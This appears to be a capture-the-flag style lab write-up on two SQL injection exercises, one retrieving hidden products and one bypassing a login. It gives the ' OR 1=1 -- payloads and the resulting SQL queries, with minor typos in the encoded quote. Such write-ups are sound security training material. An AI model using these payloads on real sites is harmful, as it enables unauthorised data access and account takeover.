SQL Injection¶
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data¶
Enumeration¶
- We are given the following webpage

Vulnerability Assessment¶
SQL Query¶
- It is given that the vulnerable SQL query is as below :
SELECT * FROM products WHERE category = 'Gifts' AND released = 1 - Playing around with the category toggle buttons

- leads us to the following
GETrequest.
- Confirming vulnerability by adding a
'or in web encoding%27

- The resulting
Internal Server Errortells us that there is an error in the SQL statement which is expected as with the addition of&27SQL statement becomes :SELECT * FROM products WHERE category = '' Gifts' AND released = 1
Exploitation¶
- Thus with knowledge of the query as well as the type of request to use, we can inject
'1 OR 1=1 --and the SQL query will look like below.SELECT * FROM products WHERE category = '' OR 1=1 -- Gifts' AND released = 1 - We force a true statement and commented out what is after the true statement to leak out the entire database.

SQL injection vulnerability allowing login bypass¶
Enumeration¶
- We are given the website and based on the title of the Lab we will simply hop to
My Account
- Which gives us a Login page
Vulnerability Assessment¶
Testing for Request Type¶
- First we will test the parameters to know if it is
GETorPOSTbased.

- With this ,we now know that a
POSTrequest is needed.
Testing for Vulnerable Parameters¶
- We will input
OR 1=1the Login and Password field individually

- The below error is met for both fields hence both fields are likely vulnerable.
We can postulate that the SQL statement is as such
SELECT username,password FROM login WHERE username='$input_username' AND password='$input_password'
Exploitation¶
- Therefore by inputting
'OR 1=1 --we will give a true statement and bypass the login. The resulting statement will be as follows :SELECT username,password FROM login WHERE username=''OR 1=1 -- AND password='$input_password' SELECT username,password FROM login WHERE username='aa' AND password='' OR 1=1 -- '
- And we managed to bypass the login.
